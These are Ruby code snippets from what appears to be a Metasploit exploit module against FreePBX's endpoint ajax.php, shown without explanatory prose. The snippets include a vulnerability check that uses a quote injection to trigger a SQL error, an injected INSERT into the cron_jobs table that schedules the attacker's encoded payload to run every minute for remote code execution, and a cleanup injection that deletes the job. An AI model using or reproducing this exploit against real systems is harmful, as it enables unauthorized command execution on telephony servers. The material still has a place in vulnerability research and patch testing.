1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

def check
  print_status('Checking if vulnerable...')
  
  res = send_request_cgi(
    'method' => 'GET',
    'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
    'vars_get' => {
      'module' => 'FreePBX\\modules\\endpoint\\ajax',
      'command' => 'model',
      'template' => Rex::Text.rand_text_alphanumeric(3..6),
      'model' => Rex::Text.rand_text_alphanumeric(3..6),
      'brand' => "#{Rex::Text.rand_text_alphanumeric(3..6)}'"
    }
  )

  if res&.code == 500 && res.body =~ /You have an error in your SQL syntax/
    return Exploit::CheckCode::Vulnerable('Detected SQL injection')
  end

  Exploit::CheckCode::Safe('No SQL injection detected, target is patched')
end

1
2
3

rce_payload = Rex::Text.rand_text_alpha(4..7)
rce_payload << "';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)"
rce_payload << " VALUES ('#{module_name}','#{@job_name}','#{payload.encoded}',NULL,'* * * * *',30,1,1) -- "

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

def cleanup
  super
  return unless @job_name
  
  res = send_request_cgi(
    'method' => 'GET',
    'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
    'vars_get' => {
      'module' => 'FreePBX\\modules\\endpoint\\ajax',
      'command' => 'model',
      'template' => Rex::Text.rand_text_alphanumeric(3..6),
      'model' => Rex::Text.rand_text_alphanumeric(3..6),
      'brand' => "'; DELETE FROM cron_jobs WHERE jobname=\'#{@job_name}\' -- "
    }
  )
end